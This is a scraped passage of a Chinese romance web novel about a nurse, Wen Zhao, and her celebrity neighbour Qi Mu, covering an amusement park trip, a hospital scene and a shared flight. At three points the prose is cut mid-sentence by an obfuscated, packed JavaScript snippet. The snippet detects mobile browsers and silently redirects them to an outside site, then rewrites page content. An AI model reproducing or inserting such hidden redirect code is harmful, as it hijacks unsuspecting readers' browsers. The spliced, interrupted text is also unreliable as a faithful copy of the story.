她拿起手机打开APP在上面疯狂搜索,没一会儿就找到了。嘴里噼里啪啦报出一串明星名字,温昭只听过没几个。 直到—— “祁、慕。” 林晚一字一顿地念道。 祁慕? 温昭指尖一颤,矿泉水瓶差点脱手。 “我就说怎么那么多小姑娘挂他周边!”林晚猛地拍了下大腿,似乎想到什么,又狐疑地皱眉,“不对啊,昨天热搜不是说他生病了吗?这么快就好了?” 温昭低头抿了口水,脑海里浮现出那人苍白着脸靠在车座上的模样。 “什么生病?”许汀州也好奇地问。 林晚立刻来了精神,绘声绘色地讲起昨天的热搜:“昨天有一个狗仔拍到他和一个女生去医院了,都上热搜了,说是他女朋友……” 温昭心虚地喝着水看向远处,试图让自己转移注意力。 林晚猜测道:“该不会昨天那人真是他女朋友吧!难道他们在医院里约会?” 听到这话,温昭呛得直咳嗽。 许汀州轻拍她的背:“没事吧,昭昭?” 温昭摆摆手,耳尖却悄悄红了。 她偷瞄了眼还在滔滔不绝的林晚,内心疯狂OS: 姐妹,不会分析咱就别分析了行吗?! 在医院里约会什么鬼? 林晚灵机一动:“诶!要不我们也去看看?反正也没几个设施可以玩,不如看个帅哥养养眼,值回票价!” “你不是说不追了嘛?”温昭吐槽道。 “哎呀没追,就当看个帅哥,养个眼,值下这199的门票钱呗!”林晚摇了摇温昭的手,“好不好嘛!昭昭!” 温昭刚点下头,林晚就立马拽着她往人群最密集的方向跑去。 许汀州见状也跟了过去。 三人跟着人群跑到了海盗船那儿。 周围被栏杆围着,许多人踮着脚拍摄,看不到任何人。 等了一会儿,前面的人群突然发出呐喊声—— “祁心协力向慕光,与尔同行共辉煌!” “祁慕——祁慕——祁慕——” 这阵仗比演唱会还夸张。 “昭昭,快快快!”林晚拉着温昭往前挤。 温昭被挤得东倒西歪。 透过一个缝隙,她看到祁慕站在阳光底下,向那些应援的粉丝鞠躬、饭撒。 他今天穿着一个白色外套,很显腿长。墨镜随意地推在头发前,露出饱满的额头,阳光在眉骨处投下阴影。他今天画的妆不似舞台妆那么扎眼,多了些随和,状态好的根本不像是生过病的人。 当那道视线快要扫过来时。 温昭心跳漏了半拍,慌忙低头,假装在翻包。 直到余光里那道视线移开,她才敢重新抬头。 “晚晚,我去外面等你,这儿人太多了。” “好!”林晚还在用手机拍着,只不过拍到的都是人头。 温昭侧着身子往外挤。 人群熙攘,她刚挪开一点位置,立刻有人填补上来,肩膀擦着肩膀,像火墙。 她费劲地从人堆里钻出来,呼吸都顺畅了几分,小跑两步站到许汀洲旁边,微微喘着气。 站在一边的许汀州注意到她通红的脸颊,有些担心:“昭昭,你怎么了不舒服吗?脸这么红?” “啊,”她抬手摸了摸脸,眼神飘忽地往天上瞟,“可能是……太阳晒的,再加上人又多……” 11. 第11章 温昭悄悄松了口气,却忍不住又往祁慕离开的方向看了一眼,还有那群围成人墙的粉丝们。 许汀州:“原来祁慕有这么多粉丝。” 是啊,比演出那天还夸张。 温昭在心里默默应和,视线黏在那些姑娘们身上挪不开。 “昭昭,太阳太大了,我们去树荫底下站着吧。” 她没听到。 呆呆地看着站在前面的粉丝们。 她们脸上沾着细密的汗水,额前的碎发已经被打湿,贴在脸上。那些精心挑选的浅色衣裙,后背已经洇出一片深色的汗渍。脸上辛辛苦苦画的妆也有些斑驳,有个小姑娘正手忙脚乱补妆,粉饼按在脱妆的鼻翼处,蹭出一道明显的白痕。 “昭昭?” 她这才回神,走到树荫下。 她低头看着脚下斑驳的树影,脚尖正好抵在树荫与阳光的分界线上。 一边是阴凉处,一边是炙热地。 她悄悄往后挪了半步,整个人都被树荫笼罩,只剩下半截人影在左侧的太阳下。 …… 又过了一会儿。 林晚觉得没什么意思,就出来了.额头上精心卷的刘海已经塌了,黏在额前,细密的汗珠粘在人中处,却丝毫没有滑落的迹象。 “救命!我刚问了个小姑娘,你猜怎么着?她们要蹲到晚上六点!”她猛灌半瓶水,“更绝的是人家说待会儿还要转场!这哪是追星啊,根本是特种兵拉练!” 她摇了摇头,又说:“太疯狂了!” 温昭被她逗笑,简直“忘如本”。 要论疯狂,林晚才是鼻祖。凌晨三点蹲机场接机,打榜打到笔记本发烫死机,最绝的是有次为了夜排,硬是扛着伞、揣着小马扎,在雨里蹲了五六个小时,最后实在撑不住,才灰溜溜地撤了。 现在倒好,她居然一脸震惊地说别人“太疯”,温昭简直想穿回当年,把她淋成落汤鸡还死守阵地的样子拍下来,拿到她面前。 不过话说回来—— 正午的太阳毒辣辣地烤着,天气预报说才25度,可站在毫无遮挡的空地上,体感温度直逼28度,更别提他们已经在烈日下站了半小时了。 温昭抿了抿唇,心里忽然冒出个念头: 为了一个甚至不认识自己的人,这样拼命……真的值得吗? 而且,昨天祁慕才刚上热搜,闹得沸沸扬扬,可今天依然有这么多人义无反顾地来支持他。 她们……就真的没有一丝动摇,或者哪怕一瞬间的怀疑吗? 尽管那些是假的。 - 三人玩了三个项目,实在是遭不住。那队伍排的百米开外,他们咬牙买了速通卡,结果还是要排二十分钟,当场心态崩了。 最后实在撑不住,随便找了家主题餐厅钻进去。店里装修得粉粉嫩嫩,每张桌子上都印着HelloKitty的图案,门口还立着个巨型Kitty玩偶,萌得人想一头扎进去。 “我去下洗手间。”温昭擦了擦额角的薄汗。 等她一走,许汀州捏着吸管在柠檬水里搅来搅去,冰块撞得叮当响。 林晚瞥他一眼,心里门儿清—— 这家伙绝对憋着话呢! 果然,下一秒。 他深吸一口气,像是下了某种决心:“林晚,有件事……我得跟你说。” “什么?”林晚咬着吸管抬头 “我决定追温昭了!” “什么!?” 她故作震惊,实则内心毫无波澜—— 六年了,这人终于憋不住了? 她早就看透了好吗! 高中那会儿,每次体育课结束,许汀州都会“顺手”给温昭带水,还非要捎上她的那份,生怕显得太刻意。月考放榜时,明明是个高三的学长,非得绕到高二那边先看温昭的成绩。最绝的是有次温昭考前焦虑,这家伙熬了三个通宵整理笔记,第二天却装得云淡风轻:“随便写的,你要不要看?” 啧,男人。 那时候的温昭满脑子都是医学院,压根没开窍。 而许汀州这个闷葫芦,喜欢也不敢明说,只会暗戳戳地对人好。 毕业后就更明显了。 三天两头找借口约温昭—— “手机卡了,多买了张电影票” “奶茶店买一送一搞活动,你要喝吗?我给你送过来?” “……” 关键是,每次还非得拉上她,搞得她跟可移动电灯泡似的。 林晚当时还想着,照这个趋势,他俩迟早要成。 谁知道温昭报考了星海大学,而不是滨海! 林晚虽然也不知道她怎么想的,但也跟她一起去了,毕竟两人早就约好要一起上同一个大学,星海…确实比滨海要好一点儿,无论是就业还是机会,林晚的父母也很支持。 只可惜了许汀州…… 后来嘛……隔着一千多公里,各自又多很忙,联系自然就淡了。 林晚撇撇嘴,吸管在柠檬水里搅出个小漩涡。 “你认真的?”她故意板起脸。 许汀州的目光落在温昭空着的座位上,眼神柔软:“六年了,我从来没这么确定过。” “怎么?”林晚咬着吸管,眼睛弯成月牙,“想让我帮你追昭昭啊?” 许汀州没吭声,耳尖却悄悄红了。 林晚在心里翻了个白眼—— 这人,答案都写在脸上了好吗! “行吧!我挺支持你们俩在一起的,但也只是我的态度而已。”她顿了顿,正色道,“如果昭昭也喜欢你,那我绝对百分百助攻,但如果她对你没感觉……”她耸耸肩,“那就只能靠你自己努力咯。” 话音刚落,温昭就回来了。 两人一见到她就立马闭嘴,还好温昭钝感力强,也没发觉什么不对劲的。 - 夕阳西沉,天边的云霞染红了整片天空。 温昭站在出口处,不自觉地回头望了一眼。 那些粉丝已经转到了过山车那儿,三三两两地凑在一起,时不时地踮脚朝里面张望。 她怔怔地看了几秒,才转身离开。 “林晚,先送你回家?” “不要,我今天要去昭昭那儿住。”林晚一把抱住温昭的手臂,“可以不,反正你明天不用上班?” “行——” 下车时,林晚借着关车门的动作,偷偷朝许汀州使了个眼色。对方心领神会地点点头,手指悄悄比了个“OK”。 一进门,林晚就踢掉鞋子,整个人瘫在沙发上。 “我发誓,以后节假日绝对不出门了!这哪是游玩,分明是渡劫!” “诶,昭昭,”她翻了个身,趴在沙发上眼巴巴地望着温昭,“有酒吗?” “你要喝什么?” “就普通的气泡酒就行。” 温昭打开冰箱门,冷气扑面而来,很凉爽。她从最上层取出一瓶乳酸菌口味的气泡酒,冰凉的瓶身在她手上立刻凝出一层细密的水珠。 “怎么就一瓶?”林晚接过气泡酒,“你不喝啊?” “特殊情况,没办法。” “好吧。” “啵”的一声,林晚拧开瓶盖,气泡争先恐后地涌上来,发出滋滋滋的声音。她仰头猛灌了一口,冰凉的液体顺着喉咙滑下,整个人都清爽起来。 她偷瞄了眼正在整理包的温昭,想起今天许汀州的坦白,一时间竟不知道该怎么开口。 总不能直接问你喜不喜欢许汀州吧? 林晚刚组织好语言,准备张口,门外就传来了一阵敲门声。 温昭整理包包的手顿了顿,下意识看向墙上的挂钟,刚指向六点十五分。 “谁啊?”林晚好奇地问。 “我去看看。” 温昭的脚步不自觉地放慢,心跳却越来越快。 千万别是…… 她在心里默默祈祷。 走到门前,她眼睛凑近猫眼。但是她忘了,之前没怎么用过这玩意儿,镜头积了一层薄灰,只能隐约看见个模糊的人影。 她深吸一气,慢慢转动门把。 “您好,物业通知。” 是穿着制服的物业小哥,温昭这才松了口气。 她突然想起林晚说过,那些粉丝六点才会离开游乐园,也就是说祈慕六点才下班,从那里过来至少要半小时。 虚惊一场。 “谢谢。”她填完表格就关上了门。 与此同时,在沙发上的林晚突然跳起来。 “卧槽!”她一脸震惊的盯着屏幕,“祁慕又上热搜了!” 他上热搜在正常不过了,刚刚在车上的时候温昭就看到了那些热搜词条—— #祁慕我们出发吧录制 #祁慕白色衬衣造型 …… 她盯着屏幕小声嘀咕着什么,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还好送来及时,没什么大碍。就是疲劳过度加上高烧导致的晕厥,好好休息就行了。” “谢谢医生。” 温昭和林晚站在病房外。 "我刚刚人都吓傻了!”林晚压低声音,手指不停划拉着手机屏幕,“你看热搜上这些站姐发的图,说他早就被助理扶着离开了。没想到还真是病倒了。” 她凑近温昭,“你说他都病成这样了还坚持录节目,这么拼?有这么缺钱嘛!?” 温昭没接话,目光落在病房里。 输液瓶在灯光下在墙面上折射出波纹,病床上的男人安静地躺着,额前的碎发还沾着细密的汗珠,平日里总是带着张扬笑意的嘴唇此刻苍白得吓人。 两人在走廊等了不到十分钟,一个穿着黑色短T的男人就急匆匆赶来了。 “你们好,我是祁慕的助理陶逸兴。” 他看到温昭时明显怔了一下。 他记得她,就是那个在演出的时候当众怼祁慕的人。 怎么会是她送祁慕来医院? 他压下满心的疑问,快步走上前:“真是太感谢你们了,谢谢你们及时送他来医院!” “没什么。”温昭又说,“既然您来了,那我们就先走了。” 她说完拉着林晚就要离开。 “等等!”陶逸兴拦住她们,“你们要不留个联系方式?等祁慕醒了,我让他亲自……” 温昭知道他只是礼貌地客气客气,也就拒绝了,她回头看了眼病房,礼貌性地笑了笑,“换作是谁都会这么做的,您好好照顾他就行。” …… 电梯门缓缓关上。 林晚终于憋不住了:“昭昭,你傻啊,你干嘛不等他醒了,好好敲他一顿!多好的机会,正好报之前他怼临终关怀的仇!” 温昭无奈地戳了戳她的额头:“医者仁心懂不懂?再说了,要不是他那次闹上热搜,临终关怀这个职业现在还没这么多人知道呢。”她顿了顿,又补充道:“而且换作是别人在你面前晕倒了,你不也会这么做啊。” 当然,她没说的是。 她可不想再和祁慕扯上太多关系。 今天送医的时候已经有不少人认出来了,要是再上热搜,指不定又要闹出什么幺蛾子。 不过林晚有句话倒是说对了—— 都病成这样了还坚持工作,现在当明星这么不赚钱了? 12. 第12章 病房内,祁慕缓缓睁开眼,消毒水的刺鼻气味让他皱了皱眉。 “醒啦!”陶逸兴走了过来。 “你怎么在这儿?”他声音比昨天还哑,“她人呢?” “走了。” 祁慕强撑着想要起身,头却猛地一阵天旋地转。他不得不又躺回病床上,抬手按住太阳穴。 “走了?” 陶逸兴连忙按住他的肩膀。 “你别乱动!点滴还没打完呢!”说着他又倒了杯水,“人家温医生把你送来医院,还帮你联系我,已经仁至义尽了。你呀,就别难为她了!” 祁慕盯着杯子里微微晃动的水面,喉结滚动了一下。 他想起昏倒前最后看到的画面: 温昭惊慌失措的脸,还有她喊他名字时微微发抖的声音。 “她……”祁慕张了张嘴,最终只是疲惫地闭上眼睛,“算了。” 陶逸兴坐在病床前:“你可真行,我说你实在不行跟我讲一声不就好了,硬撑什么,违约金赔了就赔了呗。” 他本来还想问祁慕是怎么遇到温昭的,但看到他这个样子,也就憋住没问…… 另一边。 温昭刚洗完澡从浴室走出来,差点撞上堵在门口的林晚。 “昭昭……”她笑得狡黠。 温昭被她盯得一脸懵—— 又抽什么风了? “老实交代,”林晚一个壁咚把她困在墙角,“你和祁慕…很熟吗?” 温昭心跳漏了一拍。 熟吗?好像也就是邻居,顶多再加个医患关系? “喂!”林晚在她眼前打了个响指。 温昭抖了一下,回过神。 “发什么呆呢?” “不熟。” “不熟?”林晚眯起眼睛,“那他找你干嘛?” “就……借温度计。” “真这么简单?” “嗯。” 温昭心跳的厉害,连她自己都还没意识到得快。明明说的是实话,却莫名有些心虚。 - 隔天,挂完最后一瓶点滴,祁慕就出院了。 果然不出温昭所料,昨晚他去医院的消息又又又又上了热搜。 这次连她的侧脸都被拍得一清二楚。 她刷着手机上面的各种热评—— “多亏这位小姐姐及时送医!” “这不是上次那个临终关怀医生吗?缘分啊!” “姐姐侧颜杀我!” “……” 还有一条营销号发的—— “不过临终关怀护士怎么会遇到祁慕,既然说送医院,那就说明两人当时不在医院。真有这么巧的事儿啊?” 温昭看着这条评论,指尖微微发颤。 还好是个初出茅庐的账号,只有一百来个粉丝,大多数都是“机器人”,没人在意。 还有些发在她的账号下评论、感谢。 虽然都是些好评,但事实证明,她的对门就是一个热搜体质,一有风吹草动就会上热搜。 这就是两人的区别。 林晚在床上伸着懒腰,她揉了揉眼睛:“昭昭,你看什么呢?” “醒了?”温昭锁上屏幕,“吃早饭吗?” “好啊,那我先去洗漱,待会来帮你。” 温昭打开冰箱,取出吐司和鸡蛋。她早饭会做的不多,最拿手的就是妈妈教的三明治。 是人人喊好的水平。 “咚咚咚——” 敲门声突然响起。温昭在厨房没听见,林晚叼着牙刷跑去开门。 下一秒就僵在了原地。 祁慕站在门口,额头上贴着卡通小狗退烧贴,衬得那张病恹恹的脸莫名可爱,和平时大相径庭。脸上依然没什么气血,但对比昨天,已经好的太多了。他穿着宽松的卫衣,整个人看起来比平时柔和许多,却依然帅得让人移不开眼。 “温昭…在吗?”他声音很轻。 林晚疯狂点头,内心疯狂尖叫—— 救命!这人生病的样子也太蛊了吧!这脆弱感!这破碎感!老娘的眼光果然从没出过错! “昭昭,有人找你!”她扯着嗓子喊,眼睛却黏在祁慕身上挪不开。 温昭放下沙拉酱走出厨房,看到门口的祁慕时脚步微顿。 目光落在他额头的小狗退烧贴上。 前天,虽然祁慕不乐意贴,但为了以防万一温昭还是买了一盒。医院药店里没有普通款了,只有卡通款了。当时她记得他说了句—— “好丑。” 当时祁慕皱着鼻子非常嫌弃。 她嘴角不着痕迹地弯了弯。 丑还贴上? 但还真别说,这家伙贴上有点反差萌是怎么回事。 她走了过去。 林晚见状冲温昭挤眉弄眼:“我先去做三明治!你们俩!”说完,还不忘戳了戳温昭。 “有什么事吗?” “昨天…谢谢。” “应该的。”她垂下眼帘,“总不能见死不救。” 空气突然安静。 祁慕喉结动了动,总觉得还有话堵在胸口。 “还有事儿吗?”温昭又问。 他摇摇头。 “那我关门了。” 她依旧挂着温柔的笑,可今天的笑意却未达眼底,像是精心包装的糖果,漂亮却少了温度。 门缓缓合上,两人的视线却迟迟没有分开。他因为高烧而泛红的眼尾平添几分脆弱,干裂的唇瓣微微张合,像是还想说什么。透过最后一丝缝隙,温昭看到他左手背上的输液贴,里面还晕着一小片血迹。 “砰——” 门彻底关上。 温昭靠在门前,缓了缓。 一抬头就撞上林晚八卦的目光,她顿时耳根发烫。 “昭啊,这就是你说的‘不熟’?”林晚笑得贼兮兮的。 “他来说谢谢……” “哦——”她尾音拖得很长,“谢谢啊。” 温昭被她盯得有些不自在,撩了撩耳边的碎发。 ——这是她紧张时的小习惯。 林晚见状笑得更欢了。 虽然具体情况还不清楚,但是女人的第六感告诉她,这两人绝对发生点什么! - 周一清晨,温昭刚踏进医院大门,就感受到了四面八方投来的灼热视线。 她救祁慕的事情当然已经在护士站传开了,许多人都好奇她怎么遇上祁慕的,而她只是轻描淡写了一下。 大家都觉得这两人真是冤家路窄—— 先是脱口秀,再是他外婆,现在又是生病送医院,下次又是什么…… 温昭面不改色地戴上工牌:“就是碰巧遇见。” 查房时间,温昭带着几个实习护士挨个病房检查。走到113号病房时,她的脚步微不可察地顿了顿。 祁慕正坐在靠墙的椅子上,戴着黑色口罩,面前的笔记本电脑屏幕亮着。他坐得离刘婧有些距离,一副认真工作的模样。 她没看他。 径直走到刘婧身旁。 “外婆,我来给你检查一下。” 她从护士推车上取出手套,利落地戴上。几个小护士帮忙把刘姥姥慢慢扶下,动作轻柔地抬起她的双腿。 …… “好了外婆,我们慢慢放下。” 转身放器械时,她的余光瞥见祁慕整个人都在微微发抖。 和那天发烧时不同,这次胸口震动着,像是在克制什么,手指死死地摁着桌子,指尖泛白。 温昭视线慢慢往上移,喉咙处抖动得最厉害。 ——他在憋着咳嗽。 他的眼角已经憋出了泪花,睫毛湿漉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286415|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漉地粘在一起。 温昭不经意开口:“家属先出去一下吧,这儿有点挤。”像是什么也没看到,真的只是太挤而已。 祁慕抖动着看向她,他像得到特赦令似的冲了出去。 而病房门关上的瞬间,立马传来了极为压抑的咳嗽声,说轻不轻,正好是刘婧不能听到的程度。 而打开的电脑屏幕上,只有黑白一片。 温昭心头突然一软。原来他是在硬撑,既怕传染给姥姥,又不想让老人家担心,所以才装模作样地对着空白屏幕工作。 门外传来断断续续的咳嗽声,她不由自主地望向门口,轻轻叹了口气。 …… “好了,外婆,记得好好休息。” “好,辛苦你们了。” 温昭轻手轻脚地带上门,走廊上已经不见祁慕的身影。 “你们先去114,”她对小护士们说,“我去取材室拿点手套,一会儿就来。” 取材室在楼道边上。 走到楼道拐角处,突然传来祁慕沙哑的声音。 他似乎在打电话,语气冷得像冰—— “这个月的钱已经转过去了。还完最后一百万,我们两清。” 温昭猛地刹住脚步,心里一惊。 100万! 他欠了人家100万!! 难怪病成这样还要去拍那么累的综艺。 之前林晚还开玩笑说祁慕该不会借了高利贷吧,现在看来说不定真被她说中了…… 电话那头的声音还在继续,温昭轻手轻脚地绕了过去,生怕惊动了里面的人。 …… 晚上,月色渐浓。 祁慕坐在沙发上,身上穿着一件黑色浴袍,露出两边锁骨,额前的头发还没吹干。低烧让他整个人都晕乎乎的。 陶逸兴在一旁讲着一些工作事宜。 “阿慕,这次的演出定了几个地方,你看看。”陶逸兴把行程表递过来。 工作纸上写着许多地名,祁慕在这些地名上一一指过,直到“滨海”这个字出现在眼前,他的指尖顿了顿,无意识地在那两个字上摩挲了下,唇角微微上扬。 “就这里吧。” 陶逸兴明显愣了一下。 滨海也算是一线城市,在那边举办当然是好的,只不过离星海有将近1000多公里的距离,他有些担心祁慕的身体。 他试探地问道:“你确定吗?不再看看其他……” “就这。”祁慕打断他,虽然远,但其他的城市他都去过几次,滨海就一次,而且当时去纯属为了商务拍摄。 他还记得有人说过,滨海有座很美的灯塔,橘色的灯光在夜晚会变得更外柔和,比白天还好看。 思绪渐渐飘远。 恍惚间又回到了那个雪天,那个背影,那人围巾被风吹起的弧度,还有转身时那句轻得几乎听不见的—— “拜拜。” …… 陶逸兴:“那行,我定飞机。” 两人又聊了一会儿。 陶逸兴看了眼腕表已经指向九点,收起行程表:“九点了,我先撤了。” “嗯。”祁慕低着头刷着演出要准备的材料。 “你要是不舒服就给我打电话。”陶逸兴叮嘱着往门口走。 刚拉开门,他就惊得差点咬到舌头,张了张嘴:“温、温医生?!” 听到这三字,祁慕的耳朵顿时竖了起来,刷手机的手顿了顿,手指悬在半空。 愣了两秒才走到门口。 温昭背着一个白色的斜跨包,身上套着件UENA的棕色卫衣,头发还保持着工作时扎的低丸子头,几缕碎发软软地垂在耳边。 看样子是刚下班。 看到门口的阵仗,她明显僵了一下,嘴角扯出个尴尬而不失礼貌的微笑。 “好…巧…” 13. 第13章 “你怎么在这儿?”陶逸兴脱口而出。 说完,目光落在了她刚从包里掏出的钥匙。 顺着往上一看—— 1202? 哦,1202。 等等。 什么,1202?! 这两人是对门!!! 他猛地扭头看向祁慕,眼睛眉毛乱颤—— “你特么什么时候跟人家成了邻居的,报备了吗?” 而某人却一脸淡定,挑了挑眉—— “不就是对门,大惊小怪什么,又不是同居。” 陶逸兴顿时醍醐灌顶,终于知道为什么那天是温昭送祁慕来医院的了! 他顿悟着点了点头,说道:“那我先走了,温医生再见。” 还没等温昭回答,他就一溜烟冲向电梯,“啪啪啪”狂按按钮。 幸好电梯就停在12楼,电梯门打开的瞬间,他立马钻了进去,连头都不敢回。电梯门缓缓关闭,走廊里顿时只剩下他们两个人。 …… “刚…下班?”祁慕的声音还带着点鼻音。 温昭点点头,轻轻“嗯”了一声。 两人之间的气氛因为刚刚那一出,变得有些微妙。 温昭悄悄抬眼,呼吸一滞。 祁慕的睡袍带子不知什么时候松开了大半,露出若隐若现的胸肌线条。再往上,是凸起的喉结和紧抿的薄唇。灯光打在他高挺的鼻梁上,投下了一小片阴影,桃花眼被几缕带着湿意的头发遮着,更添几分深邃。 她慌乱地移开视线,感觉脸颊温度疯狂上升。 手里的钥匙“叮叮当当”响个不停,怎么都对不准锁孔。 祁慕看着她手忙脚乱的样子,突然想起他们第一次在这里相遇的场景,忍不住轻笑调侃:“温医生,钥匙要断了。” “要你管!”温昭耳尖红得滴血。 这人是故意的吧! 穿个衣服都不会好好穿吗?! “咔哒——” 门终于开了。 祁慕正要关门,却听见身后传来温昭软软的声音:“那个…感冒还没好…衣服穿好点……我可不想送你去医院的时候,你是这副衣冠不整的样子。” “她…再说谁?我吗?” 祁慕明显还没反应过来,就听见“啪——”的一阵关门声。 他低头一看,这才发现自己的浴袍不知何时敞成了深V领,大片胸膛都暴露在空气中。他忍不住轻笑出声,慢条斯理地系好带子。 “不是医生嘛,什么没见过。” 想起刚才温昭手足无措的模样,他眼底的笑意更深了。 而他带着笑意的嗓音隔着门板传来,不轻不重地传入在温昭耳中。她整个人贴在门背上,本想平复心情,却措不及防听见这句。 “医生怎么了,又不是什么都见过……”她小声嘟囔着。 可脑海里祁慕露着胸膛的画面却挥之不去。 她晃了晃神,跑进洗手间。 “哗啦——” 冰凉的自来水拍在脸上,温昭盯着镜子里面那个面红耳赤的自己,些许懊恼地皱了皱眉。水珠顺着通红的脸颊滑落至下巴,“啪嗒”一声,掉落在地面瓷砖上,溅起细小的水花。 - 五一假期前的最后几天,温昭从早忙到晚。为了能回家,她提前半个月就跟同事调好了班。早班机都已经卖完了,只剩下最后一班十一点四十五的。 三十号这天,她工作结束刚好五点半了。她简单的吃了个饭,收拾了几件换洗衣物,拎着行李箱就下了楼。 星海云栖机场内人很多,明明都快十点了,候机厅里几乎都是拖着行李箱的大学生。温昭抬头看了眼大屏幕,由于云层太厚,大半航班都显示延误,但幸好她的航班没有任何的变动,一直显示着“准点。” “前往滨海的旅客请注意,您乘坐的航班……” 温昭跟着人流走了进去,她的座位靠窗,23A。 飞机还没起飞,她百无聊赖地刷着手机,时不时望向窗外。机场外整个轮廓都在发亮,地面上还有很多地勤人员,远处也有很多和她一样刚刚登机的人,排着队伍依次上飞机。 “23C在前面。” 空姐温柔的声音传来。 温昭下意识抬头,只见一个戴着黑色鸭舌帽的男人朝这边走来。 他的帽檐压得很低,戴着一个口罩。身上穿着一件黑色外套,露出一截里面灰色衣服的下摆,头上戴着银色的头戴式耳机。 直到她看到男人身后的人—— 这不是祁慕的助理吗? 温昭晃了神,她又看向那个男人,他低着头实在看不清他长什么样。 心想,也有可能是自己记错了,嗯,一定是。 脚步声在耳边停下。 身旁的座位微微一沉,温昭假装若无其事地划着手机。 “干嘛,装不熟啊?” 熟悉的薄荷嗓音传入耳畔,温昭猛地转过头。 祁慕慢条斯理地摘下口罩,露出那张祸国殃民的脸。脸上病态苍白已经褪去,取而代之的是健康的光泽,嘴唇泛着红润,那双冰冷的眼睛微微弯着,唇角一边勾着若无若有的弧度。 温昭挤出一个比哭还难看的笑容。 ——还是生病比较可爱! “你怎么在这儿。”他转过头,慢慢开口,双手交叠在胸前。 她还想问你怎么在这儿呢! “回家。” “你家在滨海?”祁慕眉头一挑,眼底闪过一丝诧异。 “嗯。”温昭应了一声,又问,“你也去滨海?” “嗯。” “去…玩?”她试探性地问道。 祁慕转过头看了一眼:“温医生,不是所有人都跟你一样闲的!” “……” 温昭顿时无语,心里默默翻了个白眼。 她连续调了一个星期才调出来这点假期好吧!怎么有些人生病和不生病像两种人,跟人格分裂一样! 飞机缓缓滑行,引擎的轰鸣声越来越大。 里面播放着的是她最喜欢的歌,是梁咏思的《双子星》,温润的男声从耳机中传来—— 我们是被错认的双子星 在银河中交换姓名 任由引力拉扯轨道倾斜 仍共享同一片星辰的余温 …… 飞机平稳地穿行在云层间,温昭悄悄侧过头。祁慕已经闭上眼睛,看样子像是睡着了,纤长的睫毛垂落,高挺的鼻梁勾勒出完美的侧脸线条。 ——果然,有些人只有安静的时候才能看。 她转回头望向窗外,云层被夜色浸染,微弱的星光点缀着天空。 虽说准点飞行,但还是不免轻微颠簸了几下,飞机上下略微晃动,连带着旁边的人。 “啪——” 温昭右肩一沉。 祁慕的脑袋不偏不倚地靠在了她肩上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286416|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温昭顿时僵住,心跳漏了半拍,连呼吸都放轻了。 耳机里恰好放到《双子星》的最后一句:“我数着心跳的间隔”。 不同的是,她的心跳已经快到数不清了一分钟多少频次了。 她小心翼翼地伸出手,想要把他扶回去。 可指尖刚碰到他柔软的发丝,肩上的人就像感知到什么似的,在她颈窝处蹭了蹭。 温昭怔了,在心里咬牙切齿—— 这人不会在装睡吧?! 随后却立刻否定了这个想法,没理由啊,除非闲的! 而且看他的样子是真困了。 环顾四周,乘客们要么在睡觉,要么在看报,根本没人注意到这个角落,有没有粉丝。 温昭悄悄松了口气,却又忍不住低头看了眼靠在自己肩上的人。昏暗的光线透过窗户洒在他脸上,白皙的皮肤上,细小的绒毛被照成了奶白色。 不知怎的,她没有再反抗。 任由身边的人靠着。 星海到滨海要飞三个小时左右,温昭实在熬不住了,眼皮开始打架,不知不觉也歪着头睡着了。 …… 陶逸兴一觉醒来,迷迷糊糊地侧头,差点惊得从座位上弹起来—— 只见23排的两个座位间,两颗脑袋正亲昵地靠在一起。祁慕的侧脸几乎要埋进温昭的颈间,而温昭也不知何时歪着头,脸颊轻轻抵在祁慕的发丝上。 陶逸兴刚想伸手把祁慕扶正,这才看清了旁边人的脸,顿时瞪圆了眼睛。 “温昭?!”他无声地做了个口型。 难怪! 他突然想起登机时祁慕非要跟他换座位。明明23C才是祁慕的座位,结果这家伙一上来就神秘兮兮地要跟他换…… 而陶逸兴那时虽然奇怪,但也没想太多,换就换了。 陶逸兴拼命抿住上扬的嘴角,才没笑出声来—— 我就说这小子怎么要跟我换座位,敢情是这样! 但转念一想又觉得不对劲。 这两人什么时候这么亲密了? 昨天他走之后到底发生了什么事?! 作为祁慕的发小兼助理,陶逸兴一直操心着这位爷的感情生活。 眼看都快三十的人了,连个女朋友都没有,整天就知道工作工作工作…… 这下可好,铁树终于要开花了? …… 不知睡了多久,祁慕先醒来了。 他下意识想抬手揉眼睛,却突然感觉到身侧的重量。 温昭的脑袋正靠在他头发上,呼吸绵长。 他动作一顿,连呼吸都放轻了。 他轻轻地托起她的脸颊,将自己的位置调整好,再轻轻地把她的脑袋放回自己肩上。 这个角度刚好能看见她微微颤动的睫毛,泛粉的脸颊,还有因熟睡而微微张开的唇瓣。 像是想起什么,他摸出手机。 相册里还存着上次在医院偷拍的live图,左下角亮着蓝星。 他又侧头看了眼此时的温昭,再次举起手机。 镜头里顿时框进两个人—— 女孩靠在他肩上睡得毫无防备,像只缱绻的小猫;而他自己的眼神,是从未有过的柔软,连他自己都觉得有丝陌生。 “咔嚓” 快门声淹没在引擎的轰鸣里。 祁慕看着定格的照片,嘴角不自觉上扬。 指尖又在左侧爱心处,轻点,爱心立马变蓝…… 